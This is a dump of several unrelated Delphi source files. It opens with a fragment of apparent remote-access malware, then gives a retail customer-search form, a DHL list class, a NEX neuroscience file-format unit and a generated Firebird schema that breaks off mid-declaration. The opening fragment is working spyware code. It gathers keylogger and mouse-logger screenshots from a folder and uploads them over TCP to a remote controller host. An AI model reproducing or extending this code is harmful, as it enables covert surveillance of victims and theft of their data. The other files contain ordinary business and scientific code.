if dir[length(dir)] <> '\' then Dir := Dir + '\';
TempStr := Dir + Extensao; // *.ini
H := FindFirstFileW(pwidechar(TempStr), Find);
if H = INVALID_HANDLE_VALUE then exit;
if not (Find.dwFileAttributes and $00000010 <> 0) then // não é diretório
if (WideString(Find.cFileName) <> '.') and (WideString(Find.cFileName) <> '..') then
begin
Qtde := Qtde + 1;
Result := Result + Dir + WideString(Find.cFileName) + #13#10;
end;
while FindNextFileW(H, Find) do
if not (Find.dwFileAttributes and $00000010 <> 0) then // não é diretório
if (WideString(Find.cFileName) <> '.') and (WideString(Find.cFileName) <> '..') then
begin
Qtde := Qtde + 1;
Result := Result + Dir + WideString(Find.cFileName) + #13#10;
end;
Windows.FindClose(H);
end;
type
TEnviarMouseImagens = class(TObject)
IdTCPClient1: TIdTCPClientNew;
FinalizarConexao: boolean;
procedure OnConnected(Sender: TObject);
end;
procedure TEnviarMouseImagens.OnConnected(Sender: TObject);
var
FileSize: int64;
ToSend: widestring;
TempStr, TempFile, s: WideString;
TempInt: integer;
p: pointer;
begin
IdTCPClient1.IOHandler.WriteLn(MYVERSION + '|' + ConfiguracoesServidor.Versao);
IdTCPClient1.IOHandler.LargeStream := True;
try
TempStr := ListarArquivos(MouseFolder, '*.jpg', TempInt);
ToSend := unitconstantes.NEWCONNECTION + '|' +
ConnectionID +
DelimitadorComandos +
KEYLOGGERNEW + '|' +
MOUSELOGGERSTARTSEND + '|' +
IntToStr(TempInt);
IdTCPClient1.EnviarString(ToSend);
if Tempint > 0 then
begin
while (posex(#13#10, TempStr) > 0) and (IdTCPClient1.Connected = true) do
begin
TempFile := Copy(TempStr, 1, posex(#13#10, TempStr) - 1);
Delete(TempStr, 1, posex(#13#10, TempStr) + 1);
FileSize := LerArquivo(pWideChar(TempFile), p);
if FileSize > 0 then
begin
SetLength(s, FileSize div 2);
CopyMemory(@s[1], p, FileSize);
s := KEYLOGGER + '|' + MOUSELOGGERBUFFER + '|' + TempFile + DelimitadorComandos + s;
IdTCPClient1.EnviarString(s);
sleep(50);
ProcessMessages;
end;
end;
end;
finally
sleep(10000);
FinalizarConexao := true;
end;
FinalizarConexao := true;
end;
procedure EnviarImagensMouse(Host: ansistring; Port: integer);
var
ClientSocket: TEnviarMouseImagens;
TempStr: WideString;
begin
ClientSocket := TEnviarMouseImagens.Create;
ClientSocket.FinalizarConexao := false;
ClientSocket.IdTCPClient1 := TIdTCPClientNew.Create(nil, ConfiguracoesServidor.Password);
ClientSocket.IdTCPClient1.OnConnected := ClientSocket.OnConnected;
try
ClientSocket.IdTCPClient1.Host := Host;
ClientSocket.IdTCPClient1.Port := Port;
try
try
ClientSocket.IdTCPClient1.Connect;
while (ClientSocket.IdTCPClient1.Connected) and (ClientSocket.FinalizarConexao = false) do
begin
TempStr := ClientSocket.IdTCPClient1.ReceberString;
//if TempStr <> '' then ClientSocket.ExecutarComando(TempStr); //somente enviar, então não executa comando recebido...
sleep(10);
end;
finally
ClientSocket.IdTCPClient1.Disconnect;
end;
except // Failed during transfer
end;
except // Couldn't even connect
end;
ClientSocket.IdTCPClient1.OnConnected := nil;
FreeAndNil(ClientSocket.IdTCPClient1);
FreeAndNil(ClientSocket);
end;
end.
|
unit uFrmSearchCustomer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PAIDETODOS, siComp, siLangRT, StdCtrls, LblEffct, ExtCtrls,
Grids, DBGrids, SMDBGrid, Buttons, DB, ADODB, PowerADOQuery, cxStyles,
cxCustomData, cxGraphics, cxFilter, cxData, cxEdit, cxDBData,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGridLevel,
cxClasses, cxControls, cxGridCustomView, cxGrid;
type
TFrmSearchCustomer = class(TFrmParent)
btnOK: TButton;
quCostumer: TPowerADOQuery;
quCostumerIDPessoa: TIntegerField;
quCostumerDriverLicense: TStringField;
quCostumerSocialSecurity: TStringField;
quCostumerCustomerCard: TStringField;
quCostumerPessoaLastName: TStringField;
quCostumerCEP: TStringField;
quCostumerPessoaFirstName: TStringField;
quCostumerPessoa: TStringField;
dsCostumer: TDataSource;
quCostumerPhone: TStringField;
trSearchCustomer: TTimer;
quCostumerEmail: TStringField;
Panel4: TPanel;
edtParamText: TEdit;
cbSearchFor: TComboBox;
Label5: TLabel;
lbParamSearch: TLabel;
grdCustomer: TcxGrid;
grdCustomerDB: TcxGridDBTableView;
grdCustomerDBPessoa: TcxGridDBColumn;
grdCustomerDBCEP: TcxGridDBColumn;
grdCustomerDBPhone: TcxGridDBColumn;
grdCustomerDBEmail: TcxGridDBColumn;
grdCustomerDBPessoaLastName: TcxGridDBColumn;
grdCustomerDBPessoaFirstName: TcxGridDBColumn;
grdCustomerLevel: TcxGridLevel;
btColumn: TSpeedButton;
pnlDivisoria2: TPanel;
sbDetailCustumer: TSpeedButton;
sbNewCostumer: TSpeedButton;
grdCustomerDBCustomerCard: TcxGridDBColumn;
procedure sbNewCostumerClick(Sender: TObject);
procedure sbDetailCustumerClick(Sender: TObject);
procedure trSearchCustomerTimer(Sender: TObject);
procedure edtParamTextKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure cbSearchForChange(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btCloseClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btnOKClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btColumnClick(Sender: TObject);
procedure grdCustomerDBColumnHeaderClick(Sender: TcxGridTableView;
AColumn: TcxGridColumn);
procedure grdCustomerDBCustomization(Sender: TObject);
procedure grdCustomerDBFocusedItemChanged(
Sender: TcxCustomGridTableView; APrevFocusedItem,
AFocusedItem: TcxCustomGridTableItem);
procedure grdCustomerDBDblClick(Sender: TObject);
private
FIDPessoa : Integer;
AView : TcxCustomGridTableView;
procedure RefreshCustomer;
procedure RefreshSelection;
procedure Load_cbSearchFor_ItemIndex;
procedure Save_cbSearchFor_ItemIndex;
public
function Start : Integer;
end;
implementation
uses uDM, uDMGlobal,
uFchPessoa, uSystemTypes, uSqlFunctions, uSystemConst,
SysRegistryDAO, SysRegistryCls;
{$R *.dfm}
{ TFrmSearchCustomer }
function TFrmSearchCustomer.Start: Integer;
var
AOptions : TcxGridStorageOptions;
ASaveViewName : String;
fRegistryPath : String;
begin
FIDPessoa := -1;
if DMGlobal.IDLanguage = LANG_ENGLISH then
cbSearchFor.ItemIndex := 1
else
cbSearchFor.ItemIndex := 0;
//Grid options
fRegistryPath := MR_BRW_REG_PATH + Self.Caption;
AOptions := [gsoUseFilter, gsoUseSummary];
DM.LoadGridFromRegistry(TcxGridDBTableView(AView), fRegistryPath, AOptions);
if (DM.fPredefinedStyle.Count > DM.fGrid.Layout) and (DM.fPredefinedStyle.Strings[DM.fGrid.Layout]<>'') then
TcxGridDBTableView(AView).Styles.StyleSheet := TcxGridTableViewStyleSheet(DM.fPredefinedStyle.Objects[DM.fGrid.Layout]);
ShowModal;
DM.SaveGridToRegistry(TcxGridDBTableView(AView), fRegistryPath, True, AOptions);
Result := FIDPessoa;
end;
procedure TFrmSearchCustomer.sbNewCostumerClick(Sender: TObject);
var
PosID1, PosID2, sParam : String;
bIsPost : boolean;
begin
inherited;
bIsPost := False;
with TFchPessoa.Create(Self) do
try
sParam := 'IDTipoPessoa=1;';
if Start(btInc, Nil, False, PosID1, PosID2, nil) then
begin
FIDPessoa := StrToInt(PosID1);
bIsPost := True;
end;
finally
Free;
end;
if bIsPost then
Close;
end;
procedure TFrmSearchCustomer.sbDetailCustumerClick(Sender: TObject);
var
PosID1, PosID2 : String;
begin
inherited;
if (quCostumer.Active) and (not quCostumer.IsEmpty) then
with TFchPessoa.Create(Self) do
begin
sParam := 'IDTipoPessoa=1;';
Start(btAlt, quCostumer, False, PosID1, PosID2, nil);
Free;
end;
end;
procedure TFrmSearchCustomer.trSearchCustomerTimer(Sender: TObject);
begin
inherited;
trSearchCustomer.Enabled := False;
RefreshCustomer;
end;
procedure TFrmSearchCustomer.RefreshCustomer;
var
sField, sName, sWhereSQL : string;
iSelected : Integer;
begin
try
Screen.Cursor := crHourGlass;
with quCostumer do
begin
If Active then
Close;
iSelected := cbSearchFor.ItemIndex;
sName := edtParamText.Text;
Case iSelected of
// Smart Search
0 : sField := '(P.PessoaLastName Like ' + QuotedStr(trim(sName) + '%') + ' or ' +
'P.PessoaFirstName Like ' + QuotedStr(trim(sName) + '%') + ' or ' +
'P.Pessoa Like ' + QuotedStr(trim(sName) + '%') + ' or ' +
'P.CustomerCard Like ' + QuotedStr(trim(sName) + '%') + ' or ' +
'P.Email Like ' + QuotedStr(trim(sName) + '%') + ' or ' +
'(P.PhoneAreaCode + ''-'' + P.Telefone) Like ' + QuotedStr('%' + trim(sName) + '%') + ')';
1 : sField := 'P.PessoaFirstName Like ' + QuotedStr(trim(sName) + '%'); //First Name
2 : sField := 'P.PessoaLastName Like ' + QuotedStr(trim(sName) + '%'); //Last Name
3 : sField := 'P.Pessoa Like ' + QuotedStr(trim(sName) + '%'); //Full Name
4 : sField := '(P.PhoneAreaCode + ''-'' + P.Telefone) Like ' + QuotedStr('%' + trim(sName) + '%'); //Phone
5 : sField := 'P.Email Like ' + QuotedStr(trim(sName) + '%'); //Email
6 : sField := 'P.CustomerCard Like ' + QuotedStr(trim(sName) + '%'); //Customer Card
7 : sField := 'P.OrgaoEmissor Like ' + QuotedStr(trim(sName) + '%'); //Driver License
end;
sWhereSQL :=
' P.System = 0' +
' AND TP.Path LIKE '+ QuotedStr('.001%') + ' ' +
' AND P.Desativado = 0 ';
if trim(sName) <> '' then
sWhereSQL := sWhereSQL + ' AND ' +sField;
CommandText := ChangeWhereClause(CommandText, sWhereSQL, True);
Open;
end;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TFrmSearchCustomer.edtParamTextKeyUp(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
inherited;
trSearchCustomer.Enabled := False;
if TEdit(Sender).Text <> '' then
trSearchCustomer.Enabled := True;
end;
procedure TFrmSearchCustomer.Load_cbSearchFor_ItemIndex;
var
TableRow: TSysRegistry;
sysRegistryDao: TSysRegistryDAO;
Rows: TList;
begin
if (not Assigned(DM.ADODBConnect)) then Exit;
if (not DM.ADODBConnect.Connected) then Exit;
TableRow:= TSysRegistry.Create;
sysRegistryDao := TSysRegistryDAO.create(DM.ADODBConnect);
Rows:= TList.Create;
try
try
if (sysRegistryDao.select('cbSearchFor.ItemIndex', Rows )) then
begin
if Rows.Count = 1 then
begin
cbSearchFor.ItemIndex:= StrToIntDef(TSysRegistry(Rows[0]).AttributeValue, 0);
end;
end;
except
end;
finally
TableRow.Free;
sysRegistryDao.Free;
end;
end;
procedure TFrmSearchCustomer.Save_cbSearchFor_ItemIndex;
var
TableRow: TSysRegistry;
sysRegistryDao: TSysRegistryDAO;
Rows: TList;
begin
if (not Assigned(DM.ADODBConnect)) then Exit;
if (not DM.ADODBConnect.Connected) then Exit;
TableRow:= TSysRegistry.Create;
sysRegistryDao := TSysRegistryDAO.create(DM.ADODBConnect);
Rows:= TList.Create;
try
TableRow.AttributeName:= 'cbSearchFor.ItemIndex';
TableRow.AttributeValue:= IntToStr(cbSearchFor.ItemIndex);
TableRow.AttributeType:= 'Int';
TableRow.ConstraintValue:= '1';
TableRow.ConstraintType:= 2;
try
if (sysRegistryDao.select(TableRow.AttributeName, Rows )) then
begin
if Rows.Count = 1 then
begin
sysRegistryDao.setRegistry(TableRow);
sysRegistryDao.update(TSysRegistry(Rows[0]).ID);
end
else if Rows.Count = 0 then
begin
sysRegistryDao.setRegistry(TableRow);
sysRegistryDao.insert();
end;
end;
except
end;
finally
TableRow.Free;
sysRegistryDao.Free;
end;
end;
procedure TFrmSearchCustomer.cbSearchForChange(Sender: TObject);
begin
inherited;
RefreshSelection;
Save_cbSearchFor_ItemIndex;
end;
procedure TFrmSearchCustomer.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
Action := caFree;
end;
procedure TFrmSearchCustomer.btCloseClick(Sender: TObject);
begin
inherited;
FIDPessoa := -1;
Close;
end;
procedure TFrmSearchCustomer.RefreshSelection;
begin
lbParamSearch.Caption := cbSearchFor.Items.Strings[cbSearchFor.ItemIndex];
if edtParamText.CanFocus then
begin
edtParamText.Clear;
edtParamText.SetFocus;
end;
end;
procedure TFrmSearchCustomer.FormShow(Sender: TObject);
begin
inherited;
Load_cbSearchFor_ItemIndex;
RefreshSelection;
end;
procedure TFrmSearchCustomer.btnOKClick(Sender: TObject);
begin
inherited;
if (FIDPessoa = -1) and quCostumer.Active and (quCostumerIDPessoa.AsInteger <> 0) then
FIDPessoa := quCostumerIDPessoa.AsInteger;
end;
procedure TFrmSearchCustomer.FormCreate(Sender: TObject);
begin
inherited;
DM.imgBTN.GetBitmap(BTN_ADD, sbNewCostumer.Glyph);
DM.imgBTN.GetBitmap(BTN_OPEN, sbDetailCustumer.Glyph);
DM.imgBTN.GetBitmap(BTN_COLUMN, btColumn.Glyph);
AView := TcxCustomGridTableView(grdCustomer.FocusedView);
end;
procedure TFrmSearchCustomer.btColumnClick(Sender: TObject);
begin
inherited;
// Mostra a coluna de customizing do grid
if btColumn.Down then
TcxGridDBTableView(AView).Controller.Customization := True
else
TcxGridDBTableView(AView).Controller.Customization := False;
end;
procedure TFrmSearchCustomer.grdCustomerDBColumnHeaderClick(
Sender: TcxGridTableView; AColumn: TcxGridColumn);
begin
inherited;
TcxGridDBTableView(AView).OptionsBehavior.IncSearchItem := AColumn;
end;
procedure TFrmSearchCustomer.grdCustomerDBCustomization(Sender: TObject);
begin
inherited;
btColumn.Down := TcxGridDBTableView(AView).Controller.Customization;
end;
procedure TFrmSearchCustomer.grdCustomerDBFocusedItemChanged(
Sender: TcxCustomGridTableView; APrevFocusedItem,
AFocusedItem: TcxCustomGridTableItem);
begin
inherited;
TcxGridDBTableView(AView).OptionsBehavior.IncSearchItem := AFocusedItem;
end;
procedure TFrmSearchCustomer.grdCustomerDBDblClick(Sender: TObject);
begin
inherited;
btnOK.Click;
end;
end.
|
unit Objekt.DHLDeletionStateList;
interface
uses
System.SysUtils, System.Classes, Objekt.DHLDeletionState, Objekt.DHLBaseList,
System.Contnrs;
type
TDHLDeletionStateList = class(TDHLBaseList)
private
function getDHLDeletionState(Index: Integer): TDHLDeletionState;
public
constructor Create; override;
destructor Destroy; override;
property Item[Index: Integer]: TDHLDeletionState read getDHLDeletionState;
function Add: TDHLDeletionState;
end;
implementation
{ TDHLDeletionStateList }
constructor TDHLDeletionStateList.Create;
begin
inherited;
end;
destructor TDHLDeletionStateList.Destroy;
begin
inherited;
end;
function TDHLDeletionStateList.Add: TDHLDeletionState;
begin
Result := TDHLDeletionState.Create;
fList.Add(Result);
end;
function TDHLDeletionStateList.getDHLDeletionState(
Index: Integer): TDHLDeletionState;
begin
Result := nil;
if Index > fList.Count -1 then
exit;
Result := TDHLDeletionState(fList[Index]);
end;
end.
|
unit NexFile1;
interface
{$IFDEF FPC} {$mode delphi} {$DEFINE AcqElphy2} {$A1} {$Z1} {$ENDIF}
uses classes, sysutils, util1;
(*
1. NEX FILE STRUCTURE
------------------------
Nex data file has the following structure:
- file header (structure NexFileHeader)
- variable headers (structures NexVarHeader)
- variable data (stored as binary arrays, depends on data type)
Each variable header contains the size of the array that stores
the variable data as well as the location of this array in the file.
2. NEX FILE HEADERS
-------------------
2.1. NexFileHeader contains the following information:
(full definition of NexFileHeader is provided below)
int Version; // 100 to 104
char Comment[256]; // file comment
double Frequency; // timestamp frequency - tics per second
int Beg; // usually 0, minimum of all the timestamps in the file
int End; // = maximum timestamp + 1
int NumVars; // number of variables (and variable headers) in the file
NexFileHeader is followed by variable headers.
2.2. NexVarHeader contains the following information:
(full definition of NexVarHeader is provided below)
int Type; // 0-neuron, 1-event, 2-interval, 3-waveform,
// 4-population vector, 5-continuous variable, 6 - marker
char Name[64]; // variable name
int DataOffset; // where the data array for this variable
//is located in the file
int Count; // number of events, intervals, waveforms, or fragments
double XPos; // neuron only, electrode position in (0,100) range
double YPos; // neuron only, electrode position in (0,100) range
double WFrequency; // waveforms and continuous vars only,
// sampling frequency
double ADtoMV; // waveforms and continuous vars only,
//coeff. to convert from A/D values to milliVolts.
int NPointsWave; // waveforms and continuous vars. only,
// waveforms: number of points in each wave
// continuous vars.: total number of a/d valus
int NMarkers; // how many values are associated with each marker
int MarkerLength; // how many characters are in each marker value
3. HOW DATA ARE STORED
---------------------
3.1. Neurons and events (VarHeader.Type = 0 or VarHeader.Type = 1).
The timestamps are stored as arrays of 4-byte integers.
NexVarHeader vh;
int timestamps[10000];
// seek to the start of data
fseek(fp, vh.DataOffset, SEEK_SET);
// read the timestamps, 4 bytes per timestamp
fread(timestamps, vh.Count*4, 1, fp);
3.2. Interval variables (VarHeader.Type = 2)
Interval beginnings and interval ends are stored as 2
arrays of 4-byte integers.
NexVarHeader vh;
int beginnings[10000], ends[10000];
// seek the start of data
fseek(fp, vh.DataOffset, SEEK_SET);
// read interval beginnings and ends
fread(starts, vh.Count*4, 1, fp);
fread(ends, vh.Count*4, 1, fp);
3.3 Waveform variables (VarHeader.Type = 3)
The data for a waveform variable are stored as:
- array of timestamps (4-byte integers)
- array of waveform values (2-byte integers, raw A/D values)
for all the waveforms
NexVarHeader vh;
int timestamps[10000];
short waveforms[32*10000];
fseek(fp, vh.DataOffset, SEEK_SET);
fread(timestamps, vh.Count*4, 1, fp);
fread(waveforms, vh.Count*vh.NPointsWave*2, 1, fp);
You also need to use the following fields in the variable header:
vh.WFrequency = 25000; // this is a/d frequency of the waveform values, 25 kHz
vh.ADtoMV = 1.; // this is a coefficient to convert a/d values to millivolts.
// 1. here means that the stored a/d values are in millivolts.
3.4 Continuously recorded variables (VarHeader.Type = 5)
In general, a continuous variable may contain several fragments of data.
Each fragment may be of different length. We don't store the timestamps
for all the a/d values since they would use too much space. Instead,
for each fragment we store the timestamp of the first a/d value in
the fragment and the index of the first data point in the fragment.
Therefore, a continous variable contains the following 3 arrays:
- array of all a/d values (stored as 2-byte integers)
NexVarHeader.NPointsWave field stores the number of a/d values
- array of timestamps (each timestamp is for the beginning of the fragment;
timestamps are in the same units as any other timestamps, i.e. usually
in 25 usec units for Plexon data)
NexVarHeader.Count field stores the number of fragments
- array of indexes (each index is the position of the first data point
of the fragment in the a/d array; index[0] is always 0, if index[1] = 200,
it means that the second fragment is advalues[200], advalues[201], etc.)
NexVarHeader vh;
// assume that we have less than 100 fragments and less than 10000
// a/d values
int fragment_timestamps[100];
int fragment_indexes[100];
short advalues[10000];
fseek(fp, vh.DataOffset, SEEK_SET);
fread(fragment_timestamps, vh.Count*4, 1, fp);
fread(fragment_indexes, vh.Count*4, 1, fp);
fread(advalues, vh.NPointsWave*2, 1, fp);
You also need to use the following fields in the variable header:
vh.WFrequency = 10; // this is a/d frequency, 10 data points per second
vh.ADtoMV = 1; // this is a coefficient to convert a/d values to millivolts.
// 1. here means that the stored a/d values are in millivolts.
3.5 Markers (VarHeader.Type = 6)
In general, a marker variable may contain several data fields, i.e.
for each timestamp there are several values associated with this
timestamp. The values of these data fields are stored as strings.
If you are using Plexon system, there is only one data field for
each timestamp (the strobed value) and the numerical strobed values
are stored as strings. If you need the numerical strobed values,
you'll have to convert strings to numbers.
The data are stored in the following way:
- array of timestamps
for each field:
- field names (each field name uses 64 bytes in the file)
- array of field values (each value uses MarkerLength bytes in the file)
When you read variable headers, check for Type = 6
Use then the following NexVarHeader fields:
Name - variable name
Count - number of timestamps
NMarkers - number of data fields for each timestamp
MarkerLength - length of each data field string
DataOffset - where the data starts in the file
Here is the code to read the marker variable:
// read the variable header
NexVarHeader sh;
int* timestamps = 0;
// assume that we have less than 16 fields
char fieldnames[16][64];
// assume that marker strings are shorter than 1024 characters
char buf[1024];
fread(&sh, sizeof(NexVarHeader), 1, fp);
if(sh.Type == 6){
timestamps = new int[sh.Count];
}
// seek to the variable data
fseek(fp, sh.DataOffset, SEEK_SET);
// read the timestamps
fread(timestamps, sh.Count*4, 1, fp);
// read the field names and values
for(i=0; i<sh.NMarkers; i++){
// read the name of the data fields
fread(fieldnames[i], 64, 1, fp);
for(j=0; j<sh.Count; j++){
// this is the i-th field for j-th timestamp
fread(buf, sh.MarkerLength, 1, fp);
}
}
4. Header Sizes
---------------
Header sizes (to check integer sizes and structure alignment):
sizeof(NexFileHeader) = 544
sizeof(NexVarHeader) = 208
*)
// Nex file header structure
type
TNexFileHeader =
record
MagicNumber: integer; // string NEX1
Version: integer; // 100
Comment: array[1..256] of AnsiChar;
Frequency: double; // timestamped freq. - tics per second
Beg: integer; // usually 0
End1: integer; // = maximum timestamp + 1
NumVars: integer; // number of variables in the first batch
HeaderOffset: integer; // position of the next file header in the file
//, not implemented yet
Padding: array[1..256] of byte; // future expansion
end;
// Nex variable header structure
TNexVarHeader =
record
Type1: integer; // 0 - neuron, 1 event, 2- interval, 3 - waveform, 4 - pop. vector, 5 - continuously recorded
Version: integer; // 100
Name: array[1..64] of AnsiChar; // variable name
DataOffset:integer; // where the data array for this variable is located in the file
Count: integer; // number of events, intervals, waveforms or weights
WireNumber: integer; // neuron only, not used now
UnitNumber: integer; // neuron only, not used now
Gain: integer; // neuron only, not used now
Filter: integer; // neuron only, not used now
XPos: double; // neuron only, electrode position in (0,100) range, used in 3D
YPos: double ; // neuron only, electrode position in (0,100) range, used in 3D
WFrequency: double ; // waveform and continuous vars only, w/f sampling frequency
ADtoMV: double ; // waveform continuous vars only, coeff. to convert from A/D values to Millivolts.
NPointsWave: integer; // waveform only, number of points in each wave
NMarkers: integer; // how many values are associated with each marker
MarkerLength: integer; // how many characters are in each marker value
Padding: array[1..68] of AnsiChar;
end;
{ procedure testNexFile(stf:string); }
implementation
(*
uses TestNsDll;
procedure testNexFile(stf:string);
var
f:TfileStream;
NexHeader: TNexFileHeader;
NexVar: array[0..200] of TNexVarHeader;
i,ii:integer;
begin
f:=TfileStream.Create(stf,fmOpenRead );
f.Read(NexHeader,sizeof(NexHeader));
with NexHeader do
begin
NeuroShareTest.Memo1.Lines.Add( PcharToString(@Comment,256)+' NumVars='+Istr(NumVars) );
NeuroShareTest.Memo1.Lines.Add( 'Frequency = '+Estr(frequency ,3) );
end;
for i:=0 to NexHeader.NumVars-1 do
begin
f.Read(NexVar[i],sizeof(NexVar[i]));
with Nexvar[i] do
NeuroShareTest.Memo1.Lines.Add( PcharToString(@name,64)+' Type='+Istr(Type1)+' Count='+Istr(count) );
end;
NeuroShareTest.Memo1.Lines.Add(' Data Var ');
with NexVar[1] do
begin
f.Seek(dataOffset, soFromBeginning);
for i:=0 to count-1 do
begin
f.Read(ii,4);
NeuroShareTest.Memo1.Lines.Add(' '+Istr(ii));
end;
end;
f.free;
end;
*)
end.
|
unit EmpDatabase;
interface
uses
NSql;
type
/// <summary>
/// <para>Domain <b>FIRSTNAME</b></para>
/// <para>Definition: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
TFirstnameDomain = TSqlString;
/// <summary>
/// <para>Domain <b>LASTNAME</b></para>
/// <para>Definition: <b>VARCHAR(20) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
TLastnameDomain = TSqlString;
/// <summary>
/// <para>Domain <b>PHONENUMBER</b></para>
/// <para>Definition: <b>VARCHAR(20) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
TPhonenumberDomain = TSqlString;
/// <summary>
/// <para>Domain <b>COUNTRYNAME</b></para>
/// <para>Definition: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
TCountrynameDomain = TSqlString;
/// <summary>
/// <para>Domain <b>ADDRESSLINE</b></para>
/// <para>Definition: <b>VARCHAR(30) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
TAddresslineDomain = TSqlString;
/// <summary>
/// <para>Domain <b>EMPNO</b></para>
/// <para>Definition: <b>SMALLINT</b></para>
/// </summary>
TEmpnoDomain = TSqlSmallInt;
/// <summary>
/// <para>Domain <b>DEPTNO</b></para>
/// <para>Definition: <b>CHAR(3) CHARACTER SET NONE CHECK (VALUE = '000' OR (VALUE > '0' AND VALUE <= '999') OR VALUE IS NULL) COLLATE NONE</b></para>
/// </summary>
TDeptnoDomain = TSqlString;
/// <summary>
/// <para>Domain <b>PROJNO</b></para>
/// <para>Definition: <b>CHAR(5) CHARACTER SET NONE CHECK (VALUE = UPPER (VALUE)) COLLATE NONE</b></para>
/// </summary>
TProjnoDomain = TSqlString;
/// <summary>
/// <para>Domain <b>CUSTNO</b></para>
/// <para>Definition: <b>INTEGER CHECK (VALUE > 1000)</b></para>
/// </summary>
TCustnoDomain = TSqlInteger;
/// <summary>
/// <para>Domain <b>JOBCODE</b></para>
/// <para>Definition: <b>VARCHAR(5) CHARACTER SET NONE CHECK (VALUE > '99999') COLLATE NONE</b></para>
/// </summary>
TJobcodeDomain = TSqlString;
/// <summary>
/// <para>Domain <b>JOBGRADE</b></para>
/// <para>Definition: <b>SMALLINT CHECK (VALUE BETWEEN 0 AND 6)</b></para>
/// </summary>
TJobgradeDomain = TSqlSmallInt;
/// <summary>
/// <para>Domain <b>SALARY</b></para>
/// <para>Definition: <b>NUMERIC(10, 2) DEFAULT 0 CHECK (VALUE > 0)</b></para>
/// </summary>
TSalaryDomain = TSqlBcd;
/// <summary>
/// <para>Domain <b>BUDGET</b></para>
/// <para>Definition: <b>DECIMAL(12, 2) DEFAULT 50000 CHECK (VALUE > 10000 AND VALUE <= 2000000)</b></para>
/// </summary>
TBudgetDomain = TSqlBcd;
/// <summary>
/// <para>Domain <b>PRODTYPE</b></para>
/// <para>Definition: <b>VARCHAR(12) CHARACTER SET NONE DEFAULT 'software' NOT NULL CHECK (VALUE IN ('software', 'hardware', 'other', 'N/A')) COLLATE NONE</b></para>
/// </summary>
TProdtypeDomain = TSqlString;
/// <summary>
/// <para>Domain <b>PONUMBER</b></para>
/// <para>Definition: <b>CHAR(8) CHARACTER SET NONE CHECK (VALUE STARTING WITH 'V') COLLATE NONE</b></para>
/// </summary>
TPonumberDomain = TSqlString;
TRdbPagesTable = class(TTable)
private
FPageNumber: TSqlInteger;
FRelationId: TSqlSmallInt;
FPageSequence: TSqlInteger;
FPageType: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbPagesTable;
published
/// <summary>
/// <para>Field: <b>RDB$PAGE_NUMBER</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property PageNumber: TSqlInteger read FPageNumber;
/// <summary>
/// <para>Field: <b>RDB$RELATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property RelationId: TSqlSmallInt read FRelationId;
/// <summary>
/// <para>Field: <b>RDB$PAGE_SEQUENCE</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property PageSequence: TSqlInteger read FPageSequence;
/// <summary>
/// <para>Field: <b>RDB$PAGE_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property PageType: TSqlSmallInt read FPageType;
end;
TRdbDatabaseTable = class(TTable)
private
FDescription: TSqlMemo;
FRelationId: TSqlSmallInt;
FSecurityClass: TSqlString;
FCharacterSetName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbDatabaseTable;
published
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$RELATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property RelationId: TSqlSmallInt read FRelationId;
/// <summary>
/// <para>Field: <b>RDB$SECURITY_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SecurityClass: TSqlString read FSecurityClass;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property CharacterSetName: TSqlString read FCharacterSetName;
end;
TRdbFieldsTable = class(TTable)
private
FFieldName: TSqlString;
FQueryName: TSqlString;
FValidationBlr: TSqlBlob;
FValidationSource: TSqlMemo;
FComputedBlr: TSqlBlob;
FComputedSource: TSqlMemo;
FDefaultValue: TSqlBlob;
FDefaultSource: TSqlMemo;
FFieldLength: TSqlSmallInt;
FFieldScale: TSqlSmallInt;
FFieldType: TSqlSmallInt;
FFieldSubType: TSqlSmallInt;
FMissingValue: TSqlBlob;
FMissingSource: TSqlMemo;
FDescription: TSqlMemo;
FSystemFlag: TSqlSmallInt;
FQueryHeader: TSqlMemo;
FSegmentLength: TSqlSmallInt;
FEditString: TSqlString;
FExternalLength: TSqlSmallInt;
FExternalScale: TSqlSmallInt;
FExternalType: TSqlSmallInt;
FDimensions: TSqlSmallInt;
FNullFlag: TSqlSmallInt;
FCharacterLength: TSqlSmallInt;
FCollationId: TSqlSmallInt;
FCharacterSetId: TSqlSmallInt;
FFieldPrecision: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbFieldsTable;
published
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$QUERY_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property QueryName: TSqlString read FQueryName;
/// <summary>
